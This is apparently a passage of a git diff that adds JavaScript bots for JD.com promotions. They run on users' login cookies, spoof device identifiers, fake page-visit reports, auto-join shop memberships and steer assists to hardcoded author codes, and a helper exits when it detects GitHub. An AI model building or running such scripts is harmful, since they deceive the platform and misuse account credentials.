'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.8&build=89053&client=android&d_brand=HUAWEI&d_model=FRD-AL10&osVersion=8.0.0&screen=1792*1080&partner=huawei&oaid=7afefff5-fffe-40ee-f3de-ffe2ff2fe001&eid=eidAe19a8122a1s2xg+0aWybTLCCATsD6oJbEcYPteQMa3ttkXFlkcAdMo+uVF++BjcBVVNjMkIoFnW2bzHDBnLN0aukEYW72btJTe2aQ4xqyuZqRExl&sdkVersion=26&lang=zh_CN&uuid=5f3a6b660a7d29be&aid=5f3a6b660a7d29be&area=27_2442_2444_31912&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJNuUBMiXpghp5mwBH3zhv1rOuSPEwsLjdPic0zNM6Lj6PpFnIuEOquU1jRYinqzNTeY4975Q%2BY0bAj1wlPztJiG9oagIGX5VE2sOe5rDgMdLlMkXFRaAAR9poPzL4f6KOaDmmcpTJFuB%2BkHswe5crq3X4UvjWD8PmvNm8KpDaQmvW6sbcOUE7Vw%3D%3D&uemps=0-0&harmonyOs=0&st=1626874286410&sign=c1bbfde69bd0d06fc19db58dff7291f5&sv=102', + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fxinrui2-isv.isvjcloud.com%22%7D&', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.token = data['token'] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function taskUrl(url, data) { + let body = { + url: `https://xinrui2-isv.isvjcloud.com/api/${url}${data}`, + headers: { + 'Host': 'xinrui2-isv.isvjcloud.com', + // 'Accept': 'application/x.jd-school-raffle.v1+json', + 'X-Requested-With': 'XMLHttpRequest', + "Authorization": $.Authorization, + // X-Requested-With: "XMLHttpRequest", + // source: "01", + 'Referer': 'https://xinrui2-isv.isvjcloud.com/jd-tourism/loading/?channel=zjyy&sid=ff8ed71432ebffb00b0caf9c6e7673ew&un_area=27_2442_2444_31912', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + // 'content-type': 'application/x-www-form-urlencoded', + // 'Cookie': `${cookie} ;`, + } + } + // console.log(body.url) + return new Promise(resolve => { + $.get(body, async (err, resp, data) => { + try { + if (err) { + // console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data); + if (data.coins && url != "get_user_info") console.log(` 操作成功,当前挑战值${data.coins}`) + if (data.get_cool_coins) { + console.log(` 操作成功,获得清凉值${data.get_cool_coins},当前清凉值${data.user_cool_coins}`) + } + resolve(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(url, data) { + let body = { + url: `https://xinrui2-isv.isvjcloud.com/api/${url}`, + json: data, + headers: { + 'Host': 'xinrui2-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-raffle.v1+json', + // 'X-Requested-With': 'XMLHttpRequest', + "Authorization": $.Authorization, + 'Referer': 'https://xinrui2-isv.isvjcloud.com/jd-tourism/loading/?channel=zjyy&sid=ff8ed71432ebffb00b0caf9c6e7673ew&un_area=27_2442_2444_31912', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + // 'content-type': 'application/x-www-form-urlencoded', + // 'Cookie': `${cookie} ;`, + } + } + return new Promise(resolve => { + $.post(body, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + resolve(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/jd_mid.js b/backUp/jd_mid.js new file mode 100644 index 0000000..1f4523a --- /dev/null +++ b/backUp/jd_mid.js @@ -0,0 +1,555 @@ +/* +月满金秋 佳节聚“惠” + +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/6531736?activityId=21h3i1h3h2u1h3g43gy4g3yu2u23u423 +0 14 * * * jd_mid.js +*/ +const $ = new Env("月满金秋 佳节聚“惠”"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + '4122d9ea64864a6baaae8ef2cddc5e9f', + '0da6e42c4e5f44879c9493ec3905fbe0' + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = '21h3i1h3h2u1h3g43gy4g3yu2u23u423' + $.activityShopId = '1000089686' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await marry(); + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function marry() { + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000089686&pageId=21h3i1h3h2u1h3g43gy4g3yu2u23u423&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: 